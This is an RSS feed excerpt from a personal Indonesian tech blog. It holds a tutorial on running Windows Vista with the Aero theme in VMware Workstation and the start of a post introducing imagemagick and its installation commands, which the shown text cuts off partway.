<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Secret Blog</title><description>Secret Blog</description><link>https://shangdi.github.io/</link><templateTheme>Firefly</templateTheme><templateThemeVersion>6.15.10</templateThemeVersion><templateThemeUrl>https://github.com/CuteLeaf/Firefly</templateThemeUrl><lastBuildDate>August 18, 2026 at 10:20:48 AM</lastBuildDate><item><title>Awakening Windows Vista (+Aero) on VMWare</title><link>https://shangdi.github.io/posts/tech/vista-vmware/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/vista-vmware/</guid><description>You can actually run Windows Vista (with Aero enabled) as a virtual machine within VMWare Workstation.</description><pubDate>Fri, 10 Jul 2026 04:05:33 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Appetizer&lt;a href=&quot;#appetizer&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Purpose &amp;amp; Justification&lt;a href=&quot;#purpose--justification&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kenapa harus &lt;em&gt;install&lt;/em&gt; Windows Vista?&lt;br /&gt;
Memang Windows Vista masih bisa dipakai untuk kerjaan?&lt;br /&gt;
Kenapa gak &lt;em&gt;install&lt;/em&gt; Windows terbaru aja (Win10 / Win11)?&lt;/p&gt;&lt;p&gt;&lt;em&gt;Well&lt;/em&gt;, ini &lt;em&gt;pure&lt;/em&gt; hobi. Jadi, kalau ada orang meng-&lt;em&gt;install&lt;/em&gt; Windows lawas (termasuk Windows Vista), dipastikan tujuannya bukan hal-hal yang “pragmatis” seperti menyelesaikan pekerjaan, dsb, tapi lebih ke alasan pribadi seperti nostalgia misalnya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Prerequisites&lt;a href=&quot;#prerequisites&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti terlihat pada judul artikel ini, kita tidak hanya sekadar meng-&lt;em&gt;install&lt;/em&gt; Windows Vista saja, tetapi juga memastikan semua fungsionalitasnya berjalan dengan normal, seperti audio, internet, dan tentu saja yang paling penting, “Aero Theme”-nya bisa berjalan. Sebab, kita juga bisa saja meng-&lt;em&gt;install&lt;/em&gt; Windows Vista di &lt;code&gt;virt-manager&lt;/code&gt;, tetapi tema Aero-nya tidak berjalan karena memang ada persyaratan khusus untuk membangkitkan tema tersebut.&lt;/p&gt;&lt;p&gt;Jadi, berikut adalah persyaratan utama yang perlu dipenuhi:&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. VMWare Workstation Pro&lt;a href=&quot;#1-vmware-workstation-pro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Hypervisor ini perlu kita &lt;em&gt;install&lt;/em&gt; terlebih dahulu, tentu saja. Saya sudah membuatkan artikel khusus yang membahas cara memasang WMWare Workstation Pro di Archlinux:&lt;/p&gt;&lt;a href=&quot;/posts/tech/vmware/&quot;&gt;&lt;div&gt;&lt;div&gt;VMWare Installation on Arch: A Straightforward Guidance&lt;/div&gt;&lt;div&gt;To be correctly installed so that it can run smoothly on linux (Archlinux to be specific), you need a suitable and straightforward guidance, and this is for you.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-07-09&lt;/span&gt;&lt;span&gt;vmware&lt;/span&gt;&lt;span&gt;&lt;span&gt;#vmware&lt;/span&gt;&lt;span&gt;#virtual machine&lt;/span&gt;&lt;span&gt;#vm&lt;/span&gt;&lt;span&gt;#hypervisor&lt;/span&gt;&lt;span&gt;#broadcom&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#archlinux&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.BgfdcLFS_2nDJEW.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Windows Vista ISO&lt;a href=&quot;#2-windows-vista-iso&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;File ISO Windows Vista dapat di-&lt;em&gt;download&lt;/em&gt; di sumber-sumber berikut:&lt;/p&gt;&lt;a href=&quot;/posts/tech/windownload/&quot;&gt;&lt;div&gt;&lt;div&gt;How and Where to Download Windows ISO file?&lt;/div&gt;&lt;div&gt;Have you ever been struggling to find and download an official Windows ISO file? Let me tell you the way I did that flawlessly.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-07-05&lt;/span&gt;&lt;span&gt;iso&lt;/span&gt;&lt;span&gt;&lt;span&gt;#iso&lt;/span&gt;&lt;span&gt;#windows&lt;/span&gt;&lt;span&gt;#hash&lt;/span&gt;&lt;span&gt;#cia&lt;/span&gt;&lt;span&gt;#md5&lt;/span&gt;&lt;span&gt;#SHA1&lt;/span&gt;&lt;span&gt;#sha256&lt;/span&gt;&lt;span&gt;#cryptography&lt;/span&gt;&lt;span&gt;#checksum&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.UPiohlTQ_Z2x3Xb.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. VMWare Tools 10.x&lt;a href=&quot;#3-vmware-tools-10x&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Agar Aero Theme-nya dapat berjalan, kita nanti akan memerlukan VMWare Tools versi 10.x. Berdasarkan pengalaman saya, versi 10.2.5 juga sudah cukup untuk memunculkan tema Aero. Kalian bisa mendapatkan file ISO VMWare Tools versi 10.2.5-nya dari tautan berikut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://packages.vmware.com/tools/esx/6.0latest/windows/&quot; target=&quot;_blank&quot;&gt;https://packages.vmware.com/tools/esx/6.0latest/windows/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Atau jika ternyata tidak ditemukan, saya punya &lt;em&gt;backup&lt;/em&gt; file-nya di sini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1O-W7RuR1t7fYVA-bKe3yuk74zwWT4puX/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;https://drive.google.com/file/d/1O-W7RuR1t7fYVA-bKe3yuk74zwWT4puX/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Main Course&lt;a href=&quot;#main-course&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Creating A VM&lt;a href=&quot;#creating-a-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu membuat &lt;em&gt;virtual machine&lt;/em&gt; di VMWare terlebih dahulu. Berikut adalah langkah-langkah membuatnya secara ringkas:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Saya asumsikan komputer host teman-teman berasitektur 64 bit (x64), sebab tutorial ini hanya akan menjelaskan instalasi Vista dengan arsitektur 64 bit saja. Sila cek arsitektur komputer kalian dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;uname&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# output&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;x86_64&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# 64 bit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Create a New Virtual Machine / File &amp;gt; New Virtual Machine&lt;/li&gt;
&lt;li&gt;Custom (advanced)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hardware Compatibility: Workstation 15.x&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Use ISO image: Windows Vista ISO&lt;/li&gt;
&lt;li&gt;Guest OS: Windows Vista x64 Edition&lt;/li&gt;
&lt;li&gt;Name: Windows Vista, Location: (default)&lt;/li&gt;
&lt;li&gt;Firmware Type: BIOS&lt;/li&gt;
&lt;li&gt;Number of processors: 2&lt;/li&gt;
&lt;li&gt;Memory: 4 (8 recommended)&lt;/li&gt;
&lt;li&gt;Use network address translation (NAT)&lt;/li&gt;
&lt;li&gt;SCSI controller: LSI Logic (Recommended)&lt;/li&gt;
&lt;li&gt;Virtual Disk Type: SCSI (Recommended)&lt;/li&gt;
&lt;li&gt;Disk: Create a new virtual disk&lt;/li&gt;
&lt;li&gt;Disk Size (in GB): 30 GB (40 Recommended), Store virtual disk as a single file&lt;/li&gt;
&lt;li&gt;File name: (default)&lt;/li&gt;
&lt;li&gt;Finish&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Perhatikan tahap ke-3 yang saya &lt;strong&gt;bold&lt;/strong&gt;. Opsi tersebut wajib dipilih agar Windows Vista dapat berjalan, sebab, kalau kita memilih opsi Workstation yang lebih baru (apalagi yang terbaru), kemungkinan Vista gagal ter-&lt;em&gt;install&lt;/em&gt; semakin besar (bahkan hingga pasti tidak mungkin ter-&lt;em&gt;install&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;Berdasarkan tahap-tahap pembuatan VM tersebut jugalah, kita paham secara tersirat bahwa minimal spesifikasi komputer kita adalah sebagai berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;CPU: 4 core (minimal).&lt;/li&gt;
&lt;li&gt;Storage: 60 GB (minimal).&lt;/li&gt;
&lt;li&gt;RAM: 4 GM (minimal).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Setelah proses pembuatan &lt;em&gt;virtual machine&lt;/em&gt; (VM) berhasil, kita bisa menjalankan VM tersebut dengan klik &lt;strong&gt;[start]&lt;/strong&gt; atau VM biasanya akan langsung jalan jika &lt;em&gt;setting&lt;/em&gt; &lt;em&gt;autostart&lt;/em&gt;-nya diceklis.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installing Windows Vista&lt;a href=&quot;#installing-windows-vista&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah tahapan instalasi Windows Vista sebagai &lt;em&gt;virtual machine&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berdasarkan pengalaman saya, proses instalasi Vista ini &lt;strong&gt;tidak&lt;/strong&gt; memerlukan koneksi internet sama sekali karena dilakukan secara offline (lagipula, apa yang perlu diambil dari internet jika Windows Vista itu sendiri sudah tidak lagi di-support Microsoft, kan). Jadi, tidak perlu khawatir kuota internet kalian akan tersedot habis.&lt;/p&gt;&lt;p&gt;Jika mau lebih aman, kalian bisa mematikan wifi atau internet terlebih dahulu sebelum melakukan instalasi Windows Vista ini, atau tidak menyambungkan internet ke VMWare.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# mematikan jaringan internet di vmware&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-network.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# melihat status koneksi jaringan internet di vmware&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-network.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Language, Time &amp;amp; Currency, Keyboard: English&lt;/li&gt;
&lt;li&gt;Install Now&lt;/li&gt;
&lt;li&gt;Un-check “Automatically activate Windows when I’m online” &amp;gt; Next &amp;gt; No&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Vista Ultimate&lt;/strong&gt;, check “I have selected the edition of Windows that I purchase”&lt;/li&gt;
&lt;li&gt;Check “I accept the license terms”&lt;/li&gt;
&lt;li&gt;Custom (advanced)&lt;/li&gt;
&lt;li&gt;Disk 0 Unallocated Space (30 GB)&lt;/li&gt;
&lt;li&gt;Wait for “Copying Files, Expanding files, Installing Features, Installing Updates, and Completing Installation” Processes&lt;/li&gt;
&lt;li&gt;Create Username &amp;amp; Password (&amp;amp; Profile Picture) account&lt;/li&gt;
&lt;li&gt;Create computer name.&lt;/li&gt;
&lt;li&gt;Help protect Windows automatically &amp;gt; Ask me later&lt;/li&gt;
&lt;li&gt;Time zone &amp;gt; Jakarta (GMT +7)&lt;/li&gt;
&lt;li&gt;Start&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sampai sini, kita berhasil meng-&lt;em&gt;install&lt;/em&gt; Windows Vista di VMWare.&lt;/p&gt;&lt;p&gt;Perhatikan langkah ke-4 yang saya &lt;strong&gt;bold&lt;/strong&gt;. Opsi “Windows Vista Ultimate” itu perlu kita pilih agar kita pasti bisa mendapatkan tema Aero yang sudah kita niatkan dari awal tadi.&lt;/p&gt;&lt;p&gt;Sekarang, di desktop Windows Vista, kalau kita pergi ke “Control Panel &amp;gt; Appearance and Personalization &amp;gt; Window Color and Appearance”, dipastikan belum ada opsi &lt;strong&gt;Aero &lt;em&gt;Color Scheme&lt;/em&gt;&lt;/strong&gt; di sana.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Aero color scheme has not appeared yet&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;768&quot; src=&quot;/_astro/ss1.gdWBYoDe_1QH1SI.webp&quot; /&gt;&lt;figcaption&gt;Aero color scheme has not appeared yet&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installing VMWare Tools&lt;a href=&quot;#installing-vmware-tools&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Agar &lt;strong&gt;Aero &lt;em&gt;color scheme&lt;/em&gt;&lt;/strong&gt; tersebut bisa muncul, kita perlu meng-&lt;em&gt;install&lt;/em&gt; VMWare Tools yang sudah kita &lt;em&gt;download&lt;/em&gt; sebelumnya tadi (VMWare Tools versi 10.2.5).&lt;/p&gt;&lt;p&gt;Berikut langkah-langkahnya.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pastikan VM Windows Vista dalam keadaan mati (&lt;em&gt;shutdown&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Settings &amp;gt; CD/DVD (SATA) &amp;gt; Ganti ISO Windows Vista dengan ISO VMWare Tools tersebut.&lt;/li&gt;
&lt;li&gt;Hidupkan kembali VM Windows Vista-nya.&lt;/li&gt;
&lt;li&gt;Buka File Manager &amp;gt; Computer &amp;gt; Klik dua kali ke DVD VMWare Tools-nya.&lt;/li&gt;
&lt;li&gt;Jalankan aplikasi “&lt;strong&gt;setup64&lt;/strong&gt;” &amp;gt; UAC: Allow.&lt;/li&gt;
&lt;li&gt;Akan muncul Window VMWare Tools-nya.&lt;/li&gt;
&lt;li&gt;Setup type: Typical &amp;gt; Install &amp;gt; Wait hingga Finish.&lt;/li&gt;
&lt;li&gt;Restart Windows Vista.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sekarang, kalau kita pergi lagi ke “Control Panel &amp;gt; Appearance and Personalization &amp;gt; Window Color and Appearance” di Desktop Windows Vista, kita sudah bisa melihat &lt;strong&gt;Aero &lt;em&gt;color scheme&lt;/em&gt;&lt;/strong&gt; di sana.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Aero color scheme has already appeared&quot; loading=&quot;lazy&quot; width=&quot;1216&quot; height=&quot;888&quot; src=&quot;/_astro/ss2.BMCDL5kf_1tV8NN.webp&quot; /&gt;&lt;figcaption&gt;Aero color scheme has already appeared&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita bisa aktifkan dengan langkah-langkah berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pilih “Windows Aero” pada menu Color scheme.&lt;/li&gt;
&lt;li&gt;Klik Apply &amp;gt; OK.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Selesai.&lt;br /&gt;
Kita baru saja berhasil meng-&lt;em&gt;install&lt;/em&gt; Windows Vista dengan tema Aero di VMWare!&lt;/p&gt;&lt;p&gt;Oiya, sebelum saya lupa, saya merasa perlu berterima kasih kepada video Youtube berikut yang sudah memberitahu cara mendapatkan Aero di Windows Vista:&lt;/p&gt;
&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Dessert&lt;a href=&quot;#dessert&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah penampakan Windows Vista + Aero &lt;em&gt;color scheme&lt;/em&gt; saya!&lt;br /&gt;
Saya beri judul showcase ini: &lt;strong&gt;Frutiger Aero - Solarpunk&lt;/strong&gt;!&lt;/p&gt;&lt;p&gt;[click to enlage!]&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;vista1&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/vista-2026-07-07-22-02-14.DrdTasYs_kbh1i.webp&quot; /&gt;&lt;figcaption&gt;vista1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;vista2&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/vista-2026-07-07-22-20-44.CyakrCe2_Z6wKz5.webp&quot; /&gt;&lt;figcaption&gt;vista2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;vista1&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/vista-2026-07-07-22-25-00.D0KpI0jU_ZqgB7.webp&quot; /&gt;&lt;figcaption&gt;vista1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;vista2&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/vista-2026-07-07-22-27-27.6iISWDdx_Z26UAoe.webp&quot; /&gt;&lt;figcaption&gt;vista2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;</content:encoded></item><item><title>The Power of Imagemagick: A Small Yet Functional Image Editor.</title><link>https://shangdi.github.io/posts/tech/imagemagick/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/imagemagick/</guid><description>Do you want to crop/resize/remove background of an image/images? Imagemagick is more than enough for you.</description><pubDate>Sat, 15 Aug 2026 10:08:45 GMT</pubDate><content:encoded>
&lt;section&gt;&lt;h2&gt;Opening&lt;a href=&quot;#opening&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Introduction&lt;a href=&quot;#introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Saya sebetulnya sudah pernah membahas &lt;code&gt;imagemagick&lt;/code&gt; di artikel yang lain. Tapi, saat itu, &lt;code&gt;imagemagick&lt;/code&gt; hanya dibahas sebagai salah satu &lt;em&gt;tool&lt;/em&gt; untuk melakukan konversi format file gambar. Nah, di artikel ini, saya akan bahas lebih jauh kegunaan dari &lt;code&gt;imagemagick&lt;/code&gt; secara lebih mendalam.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Sebagai informasi saja, &lt;code&gt;imagemagick &lt;/code&gt;adalah &lt;em&gt;software&lt;/em&gt; berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;).&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berikut adalah artikel yang saya maksud:&lt;/p&gt;&lt;a href=&quot;/posts/tech/imgconvert/&quot;&gt;&lt;div&gt;&lt;div&gt;Tools for Converting Picture Format&lt;/div&gt;&lt;div&gt;These are my curated tools (both CLI &amp;amp; GUI) for converting picture file to various formats.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-06-29&lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;span&gt;&lt;span&gt;#imagemagick&lt;/span&gt;&lt;span&gt;#libheif&lt;/span&gt;&lt;span&gt;#ffmpeg&lt;/span&gt;&lt;span&gt;#darktable&lt;/span&gt;&lt;span&gt;#rawtherapee&lt;/span&gt;&lt;span&gt;#heif&lt;/span&gt;&lt;span&gt;#heic&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;/_astro/featured.Coiz8yo4_Z1Jr63t.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;What is &lt;code&gt;imagemagick&lt;/code&gt;?&lt;a href=&quot;#what-is-imagemagick&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;imagemagick&lt;/code&gt; adalah sebuah &lt;em&gt;software&lt;/em&gt; gratis dan &lt;a href=&quot;https://opensource.com/resources/what-open-source&quot; target=&quot;_blank&quot;&gt;open source&lt;/a&gt; yang digunakan untuk meng-edit dan memanipulasi gambar digital. &lt;em&gt;Tool&lt;/em&gt; ini dapat digunakan untuk membuat (&lt;em&gt;create&lt;/em&gt;), mengedit (&lt;em&gt;edit&lt;/em&gt;), menyusun (&lt;em&gt;compose&lt;/em&gt;), atau mengkonversi (&lt;em&gt;convert&lt;/em&gt;) &lt;strong&gt;gambar bitmap&lt;/strong&gt;, serta mendukung berbagai jenis format file, seperti JPEG, PNG, GIF, TIFF, dan ULTRA HDR.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Per-artikel ini ditulis, versi &lt;code&gt;imagemagick&lt;/code&gt; yang terbaru adalah &lt;code&gt;7.1.2-29&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.CMzekuJe_Z24c941.webp&quot; alt=&quot;imagemagick version&quot; loading=&quot;lazy&quot; width=&quot;1275&quot; height=&quot;353&quot; /&gt;&lt;figcaption&gt;imagemagick version&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Tentang Gambar Bitmap&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Karena tadi saya menyebutkan “gambat bitmap”, maka rasanya saya perlu juga memberi sedikit informasi tentang apa itu “gambar bitmap”.&lt;/p&gt;&lt;p&gt;Gambar bitmap atau gambar raster adalah gambar yang dibentuk berdasarkan susunan piksel warna yang ditampilkan pada layar monitor, kertas, atau media tampilan lainnya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Beberapa contoh format file gambar bitmap misalnya GIF, JPEG, BMP, dan PNG.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/Gambar_bitmap#/media/Berkas:Rgb-raster-image.svg&quot; target=&quot;_blank&quot;&gt;&lt;figure&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/3/3b/Rgb-raster-image.svg/960px-Rgb-raster-image.svg.png?utm_source=id.wikipedia.org&amp;amp;utm_campaign=imageinfo&amp;amp;utm_content=thumbnail&quot; alt=&quot;Gambar Bitmap&quot; /&gt;&lt;figcaption&gt;Gambar Bitmap&lt;/figcaption&gt;&lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Methods&lt;a href=&quot;#methods&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;imagemagick&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;&lt;div&gt;&lt;div&gt;Debian/UbuntuArchlinuxOpenSUSEFedoraFreeBSD&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 